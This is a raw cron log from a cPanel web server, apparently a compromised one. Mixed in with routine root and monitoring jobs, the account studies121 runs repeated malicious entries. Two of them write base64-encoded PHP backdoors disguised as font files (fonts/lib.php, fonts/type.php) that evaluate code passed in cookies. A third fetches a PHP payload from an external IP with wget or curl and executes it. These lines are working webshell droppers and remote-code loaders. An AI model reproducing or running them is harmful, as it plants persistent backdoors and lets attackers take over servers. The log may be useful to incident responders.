Sep 10 22:18:01 ip-184-168-122-23 CROND[18444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:18:01 ip-184-168-122-23 CROND[18447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:19:02 ip-184-168-122-23 CROND[18541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:19:02 ip-184-168-122-23 CROND[18543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:19:02 ip-184-168-122-23 CROND[18544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:19:02 ip-184-168-122-23 CROND[18545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:20:01 ip-184-168-122-23 CROND[18628]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 22:20:01 ip-184-168-122-23 CROND[18632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:20:01 ip-184-168-122-23 CROND[18634]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:20:01 ip-184-168-122-23 CROND[18638]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:20:01 ip-184-168-122-23 CROND[18643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:20:01 ip-184-168-122-23 CROND[18640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:20:01 ip-184-168-122-23 CROND[18642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:20:01 ip-184-168-122-23 CROND[18646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:20:01 ip-184-168-122-23 CROND[18641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:21:01 ip-184-168-122-23 CROND[18825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:21:01 ip-184-168-122-23 CROND[18827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:21:01 ip-184-168-122-23 CROND[18828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:21:01 ip-184-168-122-23 CROND[18831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:22:01 ip-184-168-122-23 CROND[18919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:22:01 ip-184-168-122-23 CROND[18920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:22:01 ip-184-168-122-23 CROND[18922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:22:01 ip-184-168-122-23 CROND[18921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:22:01 ip-184-168-122-23 CROND[18924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:23:01 ip-184-168-122-23 CROND[19014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:23:01 ip-184-168-122-23 CROND[19016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:23:01 ip-184-168-122-23 CROND[19018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:23:01 ip-184-168-122-23 CROND[19020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:24:01 ip-184-168-122-23 CROND[19102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:24:01 ip-184-168-122-23 CROND[19104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:24:01 ip-184-168-122-23 CROND[19105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:24:01 ip-184-168-122-23 CROND[19107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:24:01 ip-184-168-122-23 CROND[19109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:25:01 ip-184-168-122-23 CROND[19287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:25:01 ip-184-168-122-23 CROND[19290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:25:01 ip-184-168-122-23 CROND[19291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:25:01 ip-184-168-122-23 CROND[19295]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 22:25:01 ip-184-168-122-23 CROND[19296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:25:01 ip-184-168-122-23 CROND[19298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:25:01 ip-184-168-122-23 CROND[19299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:26:01 ip-184-168-122-23 CROND[19686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:26:01 ip-184-168-122-23 CROND[19687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:26:01 ip-184-168-122-23 CROND[19691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:26:01 ip-184-168-122-23 CROND[19694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:26:01 ip-184-168-122-23 CROND[19693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:27:01 ip-184-168-122-23 CROND[19844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:27:01 ip-184-168-122-23 CROND[19847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:27:01 ip-184-168-122-23 CROND[19846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:27:01 ip-184-168-122-23 CROND[19848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:28:01 ip-184-168-122-23 CROND[20002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:28:01 ip-184-168-122-23 CROND[20003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:28:01 ip-184-168-122-23 CROND[20006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:28:01 ip-184-168-122-23 CROND[20005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:28:01 ip-184-168-122-23 CROND[20007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:29:01 ip-184-168-122-23 CROND[20245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:29:01 ip-184-168-122-23 CROND[20246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:29:01 ip-184-168-122-23 CROND[20244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:29:01 ip-184-168-122-23 CROND[20247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:30:01 ip-184-168-122-23 CROND[20343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:30:01 ip-184-168-122-23 CROND[20346]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:30:01 ip-184-168-122-23 CROND[20345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:30:01 ip-184-168-122-23 CROND[20350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:30:02 ip-184-168-122-23 CROND[20348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:30:02 ip-184-168-122-23 CROND[20349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
